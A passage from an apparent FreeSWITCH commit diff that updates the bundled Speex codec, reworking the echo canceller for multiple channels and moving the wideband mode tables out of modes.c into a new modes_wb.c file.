+         /* We also need to copy the output so as to get correct adaptation */
+         for (chan = 0; chan < C; chan++)
+         {        
+            for (i=0;i<st->frame_size;i++)
+               st->y[chan*N+i+st->frame_size] = st->e[chan*N+i+st->frame_size];
+            for (i=0;i<st->frame_size;i++)
+               st->e[chan*N+i] = SUB16(st->input[chan*st->frame_size+i], st->y[chan*N+i+st->frame_size]);
+         }        
+         See = Sff;
+         st->Davg1 = st->Davg2 = 0;
+         st->Dvar1 = st->Dvar2 = FLOAT_ZERO;
+      }
+   }
+#endif
+
+   Sey = Syy = Sdd = 0;  
+   for (chan = 0; chan < C; chan++)
+   {    
+      /* Compute error signal (for the output with de-emphasis) */ 
+      for (i=0;i<st->frame_size;i++)
+      {
+         spx_word32_t tmp_out;
+#ifdef TWO_PATH
+         tmp_out = SUB32(EXTEND32(st->input[chan*st->frame_size+i]), EXTEND32(st->e[chan*N+i+st->frame_size]));
 #else
-      tmp_out = SUB32(EXTEND32(st->d[i+st->frame_size]), EXTEND32(st->y[i+st->frame_size]));
+         tmp_out = SUB32(EXTEND32(st->input[chan*st->frame_size+i]), EXTEND32(st->y[chan*N+i+st->frame_size]));
 #endif
+         tmp_out = ADD32(tmp_out, EXTEND32(MULT16_16_P15(st->preemph, st->memE[chan])));
+      /* This is an arbitrary test for saturation in the microphone signal */
+         if (in[i*C+chan] <= -32000 || in[i*C+chan] >= 32000)
+         {
+         if (st->saturated == 0)
+            st->saturated = 1;
+         }
+         out[i*C+chan] = WORD2INT(tmp_out);
+         st->memE[chan] = tmp_out;
+      }
 
-      /* Saturation */
-      if (tmp_out>32767)
-         tmp_out = 32767;
-      else if (tmp_out<-32768)
-         tmp_out = -32768;
-      tmp_out = ADD32(tmp_out, EXTEND32(MULT16_16_P15(st->preemph, st->memE)));
-      /* This is an arbitrary test for saturation */
-      if (ref[i] <= -32000 || ref[i] >= 32000)
+#ifdef DUMP_ECHO_CANCEL_DATA
+      dump_audio(in, far_end, out, st->frame_size);
+#endif
+   
+      /* Compute error signal (filter update version) */ 
+      for (i=0;i<st->frame_size;i++)
       {
-         tmp_out = 0;
-         st->saturated = 1;
+         st->e[chan*N+i+st->frame_size] = st->e[chan*N+i];
+         st->e[chan*N+i] = 0;
       }
-      out[i] = (spx_int16_t)tmp_out;
-      st->memE = tmp_out;
+      
+      /* Compute a bunch of correlations */
+      /* FIXME: bad merge */
+      Sey += mdf_inner_prod(st->e+chan*N+st->frame_size, st->y+chan*N+st->frame_size, st->frame_size);
+      Syy += mdf_inner_prod(st->y+chan*N+st->frame_size, st->y+chan*N+st->frame_size, st->frame_size);
+      Sdd += mdf_inner_prod(st->input+chan*st->frame_size, st->input+chan*st->frame_size, st->frame_size);
+      
+      /* Convert error to frequency domain */
+      spx_fft(st->fft_table, st->e+chan*N, st->E+chan*N);
+      for (i=0;i<st->frame_size;i++)
+         st->y[i+chan*N] = 0;
+      spx_fft(st->fft_table, st->y+chan*N, st->Y+chan*N);
+   
+      /* Compute power spectrum of echo (X), error (E) and filter response (Y) */
+      power_spectrum_accum(st->E+chan*N, st->Rf, N);
+      power_spectrum_accum(st->Y+chan*N, st->Yf, N);
+    
    }
+   
+   /*printf ("%f %f %f %f\n", Sff, See, Syy, Sdd, st->update_cond);*/
+   
+   /* Do some sanity check */
+   if (!(Syy>=0 && Sxx>=0 && See >= 0)
+#ifndef FIXED_POINT
+       || !(Sff < N*1e9 && Syy < N*1e9 && Sxx < N*1e9)
+#endif
+      )
+   {
+      /* Things have gone really bad */
+      st->screwed_up += 50;
+      for (i=0;i<st->frame_size*C;i++)
+         out[i] = 0;
+   } else if (SHR32(Sff, 2) > ADD32(Sdd, SHR32(MULT16_16(N, 10000),6)))
+   {
+      /* AEC seems to add lots of echo instead of removing it, let's see if it will improve */
+      st->screwed_up++;
+   } else {
+      /* Everything's fine */
+      st->screwed_up=0;
+   }
+   if (st->screwed_up>=50)
+   {
+      speex_warning("The echo canceller started acting funny and got slapped (reset). It swears it will behave now.");
+      speex_echo_state_reset(st);
+      return;
+   }
 
-   /* Compute error signal (filter update version) */ 
-   for (i=0;i<st->frame_size;i++)
+   /* Add a small noise floor to make sure not to have problems when dividing */
+   See = MAX32(See, SHR32(MULT16_16(N, 100),6));
+     
+   for (speak = 0; speak < K; speak++)
    {
-      st->e[i] = 0;
-      st->e[i+st->frame_size] = st->d[i+st->frame_size] - st->y[i+st->frame_size];
+      Sxx += mdf_inner_prod(st->x+speak*N+st->frame_size, st->x+speak*N+st->frame_size, st->frame_size);
+      power_spectrum_accum(st->X+speak*N, st->Xf, N);
    }
 
-   /* Compute a bunch of correlations */
-   Sey = mdf_inner_prod(st->e+st->frame_size, st->y+st->frame_size, st->frame_size);
-   See = mdf_inner_prod(st->e+st->frame_size, st->e+st->frame_size, st->frame_size);
-   See = ADD32(See, SHR32(MULT16_16(N, 100),6));
-   Syy = mdf_inner_prod(st->y+st->frame_size, st->y+st->frame_size, st->frame_size);
-   Sxx = mdf_inner_prod(st->x+st->frame_size, st->x+st->frame_size, st->frame_size);
-
-   /* Convert error to frequency domain */
-   spx_fft(st->fft_table, st->e, st->E);
-   for (i=0;i<st->frame_size;i++)
-      st->y[i] = 0;
-   spx_fft(st->fft_table, st->y, st->Y);
-
-   /* Compute power spectrum of echo (X), error (E) and filter response (Y) */
-   power_spectrum(st->E, st->Rf, N);
-   power_spectrum(st->Y, st->Yf, N);
-   power_spectrum(st->X, st->Xf, N);
    
-   /* Smooth echo energy estimate over time */
+   /* Smooth far end energy estimate over time */
    for (j=0;j<=st->frame_size;j++)
       st->power[j] = MULT16_32_Q15(ss_1,st->power[j]) + 1 + MULT16_32_Q15(ss,st->Xf[j]);
-   
-   /* Enable this to compute the power based only on the tail (would need to compute more 
-      efficiently to make this really useful */
-   if (0)
-   {
-      float scale2 = .5f/M;
-      for (j=0;j<=st->frame_size;j++)
-         st->power[j] = 100;
-      for (i=0;i<M;i++)
-      {
-         power_spectrum(&st->X[i*N], st->Xf, N);
-         for (j=0;j<=st->frame_size;j++)
-            st->power[j] += scale2*st->Xf[j];
-      }
-   }
 
    /* Compute filtered spectra and (cross-)correlations */
    for (j=st->frame_size;j>=0;j--)
@@ -706,17 +1093,17 @@
    if (FLOAT_GT(st->Pey, st->Pyy))
       st->Pey = st->Pyy;
    /* leak_estimate is the linear regression result */
-   leak_estimate = FLOAT_EXTRACT16(FLOAT_SHL(FLOAT_DIVU(st->Pey, st->Pyy),14));
+   st->leak_estimate = FLOAT_EXTRACT16(FLOAT_SHL(FLOAT_DIVU(st->Pey, st->Pyy),14));
    /* This looks like a stupid bug, but it's right (because we convert from Q14 to Q15) */
-   if (leak_estimate > 16383)
-      leak_estimate = 32767;
+   if (st->leak_estimate > 16383)
+      st->leak_estimate = 32767;
    else
-      leak_estimate = SHL16(leak_estimate,1);
-   /*printf ("%f\n", leak_estimate);*/
+      st->leak_estimate = SHL16(st->leak_estimate,1);
+   /*printf ("%f\n", st->leak_estimate);*/
    
    /* Compute Residual to Error Ratio */
 #ifdef FIXED_POINT
-   tmp32 = MULT16_32_Q15(leak_estimate,Syy);
+   tmp32 = MULT16_32_Q15(st->leak_estimate,Syy);
    tmp32 = ADD32(SHR32(Sxx,13), ADD32(tmp32, SHL32(tmp32,1)));
    /* Check for y in e (lower bound on RER) */
    {
@@ -731,7 +1118,7 @@
       tmp32 = SHR32(See,1);
    RER = FLOAT_EXTRACT16(FLOAT_SHL(FLOAT_DIV32(tmp32,See),15));
 #else
-   RER = (.0001*Sxx + 3.*MULT16_32_Q15(leak_estimate,Syy)) / See;
+   RER = (.0001*Sxx + 3.*MULT16_32_Q15(st->leak_estimate,Syy)) / See;
    /* Check for y in e (lower bound on RER) */
    if (RER < Sey*Sey/(1+See*Syy))
       RER = Sey*Sey/(1+See*Syy);
@@ -740,18 +1127,19 @@
 #endif
 
    /* We consider that the filter has had minimal adaptation if the following is true*/
-   if (!st->adapted && st->sum_adapt > QCONST32(1,15))
+   if (!st->adapted && st->sum_adapt > SHL32(EXTEND32(M),15) && MULT16_32_Q15(st->leak_estimate,Syy) > MULT16_32_Q15(QCONST16(.03f,15),Syy))
    {
       st->adapted = 1;
    }
 
    if (st->adapted)
    {
+      /* Normal learning rate calculation once we're past the minimal adaptation phase */
       for (i=0;i<=st->frame_size;i++)
       {
          spx_word32_t r, e;
          /* Compute frequency-domain adaptation mask */
-         r = MULT16_32_Q15(leak_estimate,SHL32(st->Yf[i],3));
+         r = MULT16_32_Q15(st->leak_estimate,SHL32(st->Yf[i],3));
          e = SHL32(st->Rf[i],3)+1;
 #ifdef FIXED_POINT
          if (r>SHR32(e,1))
@@ -764,20 +1152,22 @@
          /*st->power_1[i] = adapt_rate*r/(e*(1+st->power[i]));*/
          st->power_1[i] = FLOAT_SHL(FLOAT_DIV32_FLOAT(r,FLOAT_MUL32U(e,st->power[i]+10)),WEIGHT_SHIFT+16);
       }
-   } else if (Sxx > SHR32(MULT16_16(N, 1000),6)) {
+   } else {
       /* Temporary adaption rate if filter is not yet adapted enough */
       spx_word16_t adapt_rate=0;
 
-      tmp32 = MULT16_32_Q15(QCONST16(.25f, 15), Sxx);
+      if (Sxx > SHR32(MULT16_16(N, 1000),6)) 
+      {
+         tmp32 = MULT16_32_Q15(QCONST16(.25f, 15), Sxx);
 #ifdef FIXED_POINT
-      if (tmp32 > SHR32(See,2))
-         tmp32 = SHR32(See,2);
+         if (tmp32 > SHR32(See,2))
+            tmp32 = SHR32(See,2);
 #else
-      if (tmp32 > .25*See)
-         tmp32 = .25*See;
+         if (tmp32 > .25*See)
+            tmp32 = .25*See;
 #endif
-      adapt_rate = FLOAT_EXTRACT16(FLOAT_SHL(FLOAT_DIV32(tmp32, See),15));
-      
+         adapt_rate = FLOAT_EXTRACT16(FLOAT_SHL(FLOAT_DIV32(tmp32, See),15));
+      }
       for (i=0;i<=st->frame_size;i++)
          st->power_1[i] = FLOAT_SHL(FLOAT_DIV32(EXTEND32(adapt_rate),ADD32(st->power[i],10)),WEIGHT_SHIFT+1);
 
@@ -786,50 +1176,57 @@
       st->sum_adapt = ADD32(st->sum_adapt,adapt_rate);
    }
 
-   /* Compute spectrum of estimated echo for use in an echo post-filter (if necessary)*/
-   if (Yout)
+   /* FIXME: MC conversion required */ 
+      for (i=0;i<st->frame_size;i++)
+         st->last_y[i] = st->last_y[st->frame_size+i];
+   if (st->adapted)
    {
-      spx_word16_t leak2;
-      if (st->adapted)
-      {
-         /* If the filter is adapted, take the filtered echo */
-         for (i=0;i<st->frame_size;i++)
-            st->last_y[i] = st->last_y[st->frame_size+i];
-         for (i=0;i<st->frame_size;i++)
-            st->last_y[st->frame_size+i] = ref[i]-out[i];
-      } else {
-         /* If filter isn't adapted yet, all we can do is take the echo signal directly */
-         for (i=0;i<N;i++)
-            st->last_y[i] = st->x[i];
-      }
+      /* If the filter is adapted, take the filtered echo */
+      for (i=0;i<st->frame_size;i++)
+         st->last_y[st->frame_size+i] = in[i]-out[i];
+   } else {
+      /* If filter isn't adapted yet, all we can do is take the far end signal directly */
+      /* moved earlier: for (i=0;i<N;i++)
+      st->last_y[i] = st->x[i];*/
+   }
+
+}
+
+/* Compute spectrum of estimated echo for use in an echo post-filter */
+void speex_echo_get_residual(SpeexEchoState *st, spx_word32_t *residual_echo, int len)
+{
+   int i;
+   spx_word16_t leak2;
+   int N;
+   
+   N = st->window_size;
+
+   /* Apply hanning window (should pre-compute it)*/
+   for (i=0;i<N;i++)
+      st->y[i] = MULT16_16_Q15(st->window[i],st->last_y[i]);
       
-      /* Apply hanning window (should pre-compute it)*/
-      for (i=0;i<N;i++)
-         st->y[i] = MULT16_16_Q15(st->window[i],st->last_y[i]);
+   /* Compute power spectrum of the echo */
+   spx_fft(st->fft_table, st->y, st->Y);
+   power_spectrum(st->Y, residual_echo, N);
       
-      /* Compute power spectrum of the echo */
-      spx_fft(st->fft_table, st->y, st->Y);
-      power_spectrum(st->Y, st->Yps, N);
-      
 #ifdef FIXED_POINT
-      if (leak_estimate > 16383)
-         leak2 = 32767;
-      else
-         leak2 = SHL16(leak_estimate, 1);
+   if (st->leak_estimate > 16383)
+      leak2 = 32767;
+   else
+      leak2 = SHL16(st->leak_estimate, 1);
 #else
-      if (leak_estimate>.5)
-         leak2 = 1;
-      else
-         leak2 = 2*leak_estimate;
+   if (st->leak_estimate>.5)
+      leak2 = 1;
+   else
+      leak2 = 2*st->leak_estimate;
 #endif
-      /* Estimate residual echo */
-      for (i=0;i<=st->frame_size;i++)
-         Yout[i] = (spx_int32_t)MULT16_32_Q15(leak2,st->Yps[i]);
-   }
+   /* Estimate residual echo */
+   for (i=0;i<=st->frame_size;i++)
+      residual_echo[i] = (spx_int32_t)MULT16_32_Q15(leak2,residual_echo[i]);
+   
 }
 
-
-int speex_echo_ctl(SpeexEchoState *st, int request, void *ptr)
+EXPORT int speex_echo_ctl(SpeexEchoState *st, int request, void *ptr)
 {
    switch(request)
    {
@@ -857,6 +1254,29 @@
       case SPEEX_ECHO_GET_SAMPLING_RATE:
          (*(int*)ptr) = st->sampling_rate;
          break;
+      case SPEEX_ECHO_GET_IMPULSE_RESPONSE_SIZE:
+         /*FIXME: Implement this for multiple channels */
+         *((spx_int32_t *)ptr) = st->M * st->frame_size;
+         break;
+      case SPEEX_ECHO_GET_IMPULSE_RESPONSE:
+      {
+         int M = st->M, N = st->window_size, n = st->frame_size, i, j;
+         spx_int32_t *filt = (spx_int32_t *) ptr;
+         for(j=0;j<M;j++)
+         {
+            /*FIXME: Implement this for multiple channels */
+#ifdef FIXED_POINT
+            for (i=0;i<N;i++)
+               st->wtmp2[i] = EXTRACT16(PSHR32(st->W[j*N+i],16+NORMALIZE_SCALEDOWN));
+            spx_ifft(st->fft_table, st->wtmp2, st->wtmp);
+#else
+            spx_ifft(st->fft_table, &st->W[j*N], st->wtmp);
+#endif
+            for(i=0;i<n;i++)
+               filt[j*n+i] = PSHR32(MULT16_16(32767,st->wtmp[i]), WEIGHT_SHIFT-NORMALIZE_SCALEDOWN);
+         }
+      }
+         break;
       default:
          speex_warning_int("Unknown speex_echo_ctl request: ", request);
          return -1;

Modified: freeswitch/branches/seven/libs/speex/libspeex/modes.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/modes.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/modes.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -43,28 +43,23 @@
 #include "sb_celp.h"
 #include "nb_celp.h"
 #include "vbr.h"
-#include "misc.h"
+#include "arch.h"
 #include <math.h>
 
 #ifndef NULL
 #define NULL 0
 #endif
 
-#define MAX_IN_SAMPLES 640
 
-const SpeexMode * const speex_mode_list[SPEEX_NB_MODES] = {&speex_nb_mode, &speex_wb_mode, &speex_uwb_mode};
-
 /* Extern declarations for all codebooks we use here */
 extern const signed char gain_cdbk_nb[];
 extern const signed char gain_cdbk_lbr[];
-extern const signed char hexc_table[];
 extern const signed char exc_5_256_table[];
 extern const signed char exc_5_64_table[];
 extern const signed char exc_8_128_table[];
 extern const signed char exc_10_32_table[];
 extern const signed char exc_10_16_table[];
 extern const signed char exc_20_32_table[];
-extern const signed char hexc_10_32_table[];
 
 
 /* Parameters for Long-Term Prediction (LTP)*/
@@ -150,29 +145,8 @@
    0,
 };
 
-#ifndef DISABLE_WIDEBAND
 
-/* Split-VQ innovation for high-band wideband */
-static const split_cb_params split_cb_high = {
-   8,               /*subvect_size*/
-   5,               /*nb_subvect*/
-   hexc_table,       /*shape_cb*/
-   7,               /*shape_bits*/
-   1,
-};
 
-
-/* Split-VQ innovation for high-band wideband */
-static const split_cb_params split_cb_high_lbr = {
-   10,               /*subvect_size*/
-   4,               /*nb_subvect*/
-   hexc_10_32_table,       /*shape_cb*/
-   5,               /*shape_bits*/
-   0,
-};
-
-#endif
-
 /* 2150 bps "vocoder-like" mode for comfort noise */
 static const SpeexSubmode nb_submode1 = {
    0,
@@ -354,11 +328,7 @@
 #else
    0.9, 0.6, /* gamma1, gamma2 */
 #endif
-   .012,   /*lag_factor*/
    QCONST16(.0002,15), /*lpc_floor*/
-#ifdef EPIC_48K
-   0,
-#endif
    {NULL, &nb_submode1, &nb_submode2, &nb_submode3, &nb_submode4, &nb_submode5, &nb_submode6, &nb_submode7,
    &nb_submode8, NULL, NULL, NULL, NULL, NULL, NULL, NULL},
    5,
@@ -367,7 +337,7 @@
 
 
 /* Default mode for narrowband */
-const SpeexMode speex_nb_mode = {
+EXPORT const SpeexMode speex_nb_mode = {
    &nb_mode,
    nb_mode_query,
    "narrowband",
@@ -384,290 +354,13 @@
 };
 
 
-/* Wideband part */
 
-static const SpeexSubmode wb_submode1 = {
-   0,
-   0,
-   1,
-   0,
-   /*LSP quantization*/
-   lsp_quant_high,
-   lsp_unquant_high,
-   /*Pitch quantization*/
-   NULL,
-   NULL,
-   NULL,
-   /*No innovation quantization*/
-   NULL,
-   NULL,
-   NULL,
-   -1,
-   36
-};
-
-
-static const SpeexSubmode wb_submode2 = {
-   0,
-   0,
-   1,
-   0,
-   /*LSP quantization*/
-   lsp_quant_high,
-   lsp_unquant_high,
-   /*Pitch quantization*/
-   NULL,
-   NULL,
-   NULL,
-   /*Innovation quantization*/
-   split_cb_search_shape_sign,
-   split_cb_shape_sign_unquant,
-#ifdef DISABLE_WIDEBAND
-   NULL,
-#else
-   &split_cb_high_lbr,
-#endif
-   -1,
-   112
-};
-
-
-static const SpeexSubmode wb_submode3 = {
-   0,
-   0,
-   1,
-   0,
-   /*LSP quantization*/
-   lsp_quant_high,
-   lsp_unquant_high,
-   /*Pitch quantization*/
-   NULL,
-   NULL,
-   NULL,
-   /*Innovation quantization*/
-   split_cb_search_shape_sign,
-   split_cb_shape_sign_unquant,
-#ifdef DISABLE_WIDEBAND
-   NULL,
-#else
-   &split_cb_high,
-#endif
-   -1,
-   192
-};
-
-static const SpeexSubmode wb_submode4 = {
-   0,
-   0,
-   1,
-   1,
-   /*LSP quantization*/
-   lsp_quant_high,
-   lsp_unquant_high,
-   /*Pitch quantization*/
-   NULL,
-   NULL,
-   NULL,
-   /*Innovation quantization*/
-   split_cb_search_shape_sign,
-   split_cb_shape_sign_unquant,
-#ifdef DISABLE_WIDEBAND
-   NULL,
-#else
-   &split_cb_high,
-#endif
-   -1,
-   352
-};
-
-
-/* Split-band wideband CELP mode*/
-static const SpeexSBMode sb_wb_mode = {
-   &speex_nb_mode,
-   160,    /*frameSize*/
-   40,     /*subframeSize*/
-   8,     /*lpcSize*/
-   640,    /*bufSize*/
-#ifdef FIXED_POINT
-   29491, 19661, /* gamma1, gamma2 */
-#else
-   0.9, 0.6, /* gamma1, gamma2 */
-#endif
-   .012,   /*lag_factor*/
-   QCONST16(.0002,15), /*lpc_floor*/
-   0.9,
-   {NULL, &wb_submode1, &wb_submode2, &wb_submode3, &wb_submode4, NULL, NULL, NULL},
-   3,
-   {1, 8, 2, 3, 4, 5, 5, 6, 6, 7, 7},
-   {1, 1, 1, 1, 1, 1, 2, 2, 3, 3, 4},
-   vbr_hb_thresh,
-   5
-};
-
-
-const SpeexMode speex_wb_mode = {
-   &sb_wb_mode,
-   wb_mode_query,
-   "wideband (sub-band CELP)",
-   1,
-   4,
-   &sb_encoder_init,
-   &sb_encoder_destroy,
-   &sb_encode,
-   &sb_decoder_init,
-   &sb_decoder_destroy,
-   &sb_decode,
-   &sb_encoder_ctl,
-   &sb_decoder_ctl,
-};
-
-
-
-/* "Ultra-wideband" mode stuff */
-
-
-
-/* Split-band "ultra-wideband" (32 kbps) CELP mode*/
-static const SpeexSBMode sb_uwb_mode = {
-   &speex_wb_mode,
-   320,    /*frameSize*/
-   80,     /*subframeSize*/
-   8,     /*lpcSize*/
-   1280,    /*bufSize*/
-#ifdef FIXED_POINT
-   29491, 19661, /* gamma1, gamma2 */
-#else
-   0.9, 0.6, /* gamma1, gamma2 */
-#endif
-   .012,   /*lag_factor*/
-   QCONST16(.0002,15), /*lpc_floor*/
-   0.7,
-   {NULL, &wb_submode1, NULL, NULL, NULL, NULL, NULL, NULL},
-   1,
-   {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10},
-   {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
-   vbr_uhb_thresh,
-   2
-};
-
-
-const SpeexMode speex_uwb_mode = {
-   &sb_uwb_mode,
-   wb_mode_query,
-   "ultra-wideband (sub-band CELP)",
-   2,
-   4,
-   &sb_encoder_init,
-   &sb_encoder_destroy,
-   &sb_encode,
-   &sb_decoder_init,
-   &sb_decoder_destroy,
-   &sb_decode,
-   &sb_encoder_ctl,
-   &sb_decoder_ctl,
-};
-
-
-
-
-#ifdef EPIC_48K
-
-extern const signed char gain_cdbk_ulbr[];
-extern const signed char exc_12_32_table[];
-
-/* Parameters for Long-Term Prediction (LTP)*/
-static const ltp_params ltp_params_48k = {
-   gain_cdbk_ulbr,
-   3,
-   0
-};
-
-static const split_cb_params split_cb_nb_48k = {
-   12,               /*subvect_size*/
-   4,               /*nb_subvect*/
-   exc_12_32_table, /*shape_cb*/
-   5,               /*shape_bits*/
-   0,
-};
-
-
-/* 4.8 kbps very low bit-rate mode */
-static const SpeexSubmode nb_48k_submode = {
-   0,
-   0,
-   0,
-   0,
-   /*LSP quantization*/
-   lsp_quant_48k,
-   lsp_unquant_48k,
-   /*No pitch quantization*/
-   pitch_search_3tap,
-   pitch_unquant_3tap,
-   &ltp_params_48k,
-   /*Innovation quantization*/
-   split_cb_search_shape_sign,
-   split_cb_shape_sign_unquant,
-   &split_cb_nb_48k,
-#ifdef FIXED_POINT
-   22938, 16384, 11796, 18022,
-#else
-   0.7, 0.5, .36, .55,
-#endif
-   144
-};
-
-
-/* Special, non-standard 4.8 kbps mode */
-static const SpeexNBMode nb_48k_mode = {
-   240,    /*frameSize*/
-   48,     /*subframeSize*/
-   10,     /*lpcSize*/
-   640,    /*bufSize*/
-   17,     /*pitchStart*/
-   144,    /*pitchEnd*/
-   0.9,    /*gamma1*/
-   0.6,    /*gamma2*/
-   .01,   /*lag_factor*/
-   QCONST16(.0003,15), /*lpc_floor*/
-   1,
-   {NULL, NULL, &nb_48k_submode, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL},
-   2,
-   {2,2,2,2,2,2,2,2,2,2,2}
-};
-
-
-/* Default mode for narrowband */
-const SpeexMode speex_nb_48k_mode = {
-   &nb_48k_mode,
-   nb_mode_query,
-   "narrowband 4.8 kbps",
-   1000,
-   4,
-   &nb_encoder_init,
-   &nb_encoder_destroy,
-   &nb_encode,
-   &nb_decoder_init,
-   &nb_decoder_destroy,
-   &nb_decode,
-   &nb_encoder_ctl,
-   &nb_decoder_ctl,
-};
-
-
-#endif
-
-int speex_mode_query(const SpeexMode *mode, int request, void *ptr)
+EXPORT int speex_mode_query(const SpeexMode *mode, int request, void *ptr)
 {
    return mode->query(mode->mode, request, ptr);
 }
 
-const SpeexMode * speex_lib_get_mode (int mode)
-{
-#ifdef EPIC_48K
-  if (mode == SPEEX_MODEID_NB_48K) return &speex_nb_48k_mode;
+#ifdef FIXED_DEBUG
+long long spx_mips=0;
 #endif
 
-  if (mode < 0 || mode > SPEEX_NB_MODES) return NULL;
-
-  return speex_mode_list[mode];
-}

Modified: freeswitch/branches/seven/libs/speex/libspeex/modes.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/modes.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/modes.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,7 +38,7 @@
 
 #include <speex/speex.h>
 #include <speex/speex_bits.h>
-#include "misc.h"
+#include "arch.h"
 
 #define NB_SUBMODES 16
 #define NB_SUBMODE_BITS 4
@@ -46,7 +46,24 @@
 #define SB_SUBMODES 8
 #define SB_SUBMODE_BITS 3
 
+/* Used internally, NOT TO BE USED in applications */
+/** Used internally*/
+#define SPEEX_GET_PI_GAIN 100
+/** Used internally*/
+#define SPEEX_GET_EXC     101
+/** Used internally*/
+#define SPEEX_GET_INNOV   102
+/** Used internally*/
+#define SPEEX_GET_DTX_STATUS   103
+/** Used internally*/
+#define SPEEX_SET_INNOVATION_SAVE   104
+/** Used internally*/
+#define SPEEX_SET_WIDEBAND   105
 
+/** Used internally*/
+#define SPEEX_GET_STACK   106
+
+
 /** Quantizes LSPs */
 typedef void (*lsp_quant_func)(spx_lsp_t *, spx_lsp_t *, int, SpeexBits *);
 
@@ -81,7 +98,7 @@
    lsp_quant_func    lsp_quant; /**< LSP quantization function */
    lsp_unquant_func  lsp_unquant; /**< LSP unquantization function */
 
-   /*Lont-term predictor functions*/
+   /*Long-term predictor functions*/
    ltp_quant_func    ltp_quant; /**< Long-term predictor (pitch) quantizer */
    ltp_unquant_func  ltp_unquant; /**< Long-term predictor (pitch) un-quantizer */
    const void       *ltp_params; /**< Pitch parameters (options) */
@@ -106,13 +123,8 @@
 
    spx_word16_t gamma1;    /**< Perceptual filter parameter #1 */
    spx_word16_t gamma2;    /**< Perceptual filter parameter #2 */
-   float   lag_factor;     /**< Lag-windowing parameter */
    spx_word16_t   lpc_floor;      /**< Noise floor for LPC analysis */
 
-#ifdef EPIC_48K
-   int     lbr48k;         /**< 1 for the special 4.8 kbps mode */
-#endif
-
    const SpeexSubmode *submodes[NB_SUBMODES]; /**< Sub-mode data for the mode */
    int     defaultSubmode; /**< Default sub-mode to use when encoding */
    int     quality_map[11]; /**< Mode corresponding to each quality setting */
@@ -125,18 +137,18 @@
    int     frameSize;     /**< Size of frames used for encoding */
    int     subframeSize;  /**< Size of sub-frames used for encoding */
    int     lpcSize;       /**< Order of LPC filter */
-   int     bufSize;       /**< Signal buffer size in encoder */
    spx_word16_t gamma1;   /**< Perceptual filter parameter #1 */
    spx_word16_t gamma2;   /**< Perceptual filter parameter #1 */
-   float   lag_factor;    /**< Lag-windowing parameter */
    spx_word16_t   lpc_floor;     /**< Noise floor for LPC analysis */
-   float   folding_gain;
+   spx_word16_t   folding_gain;
 
    const SpeexSubmode *submodes[SB_SUBMODES]; /**< Sub-mode data for the mode */
    int     defaultSubmode; /**< Default sub-mode to use when encoding */
    int     low_quality_map[11]; /**< Mode corresponding to each quality setting */
    int     quality_map[11]; /**< Mode corresponding to each quality setting */
+#ifndef DISABLE_VBR
    const float (*vbr_thresh)[11];
+#endif
    int     nb_modes;
 } SpeexSBMode;
 

Copied: freeswitch/branches/seven/libs/speex/libspeex/modes_wb.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/modes_wb.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/modes_wb.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/modes_wb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,300 @@
+/* Copyright (C) 2002-2007 Jean-Marc Valin 
+   File: modes.c
+
+   Describes the wideband modes of the codec
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions
+   are met:
+   
+   - Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+   
+   - Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+   
+   - Neither the name of the Xiph.org Foundation nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+   
+   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+   ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR
+   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "modes.h"
+#include "ltp.h"
+#include "quant_lsp.h"
+#include "cb_search.h"
+#include "sb_celp.h"
+#include "nb_celp.h"
+#include "vbr.h"
+#include "arch.h"
+#include <math.h>
+#include "os_support.h"
+
+
+#ifndef NULL
+#define NULL 0
+#endif
+
+EXPORT const SpeexMode * const speex_mode_list[SPEEX_NB_MODES] = {&speex_nb_mode, &speex_wb_mode, &speex_uwb_mode};
+
+extern const signed char hexc_table[];
+extern const signed char hexc_10_32_table[];
+
+#ifndef DISABLE_WIDEBAND
+
+/* Split-VQ innovation for high-band wideband */
+static const split_cb_params split_cb_high = {
+   8,               /*subvect_size*/
+   5,               /*nb_subvect*/
+   hexc_table,       /*shape_cb*/
+   7,               /*shape_bits*/
+   1,
+};
+
+
+/* Split-VQ innovation for high-band wideband */
+static const split_cb_params split_cb_high_lbr = {
+   10,               /*subvect_size*/
+   4,               /*nb_subvect*/
+   hexc_10_32_table,       /*shape_cb*/
+   5,               /*shape_bits*/
+   0,
+};
+
+#endif
+
+
+static const SpeexSubmode wb_submode1 = {
+   0,
+   0,
+   1,
+   0,
+   /*LSP quantization*/
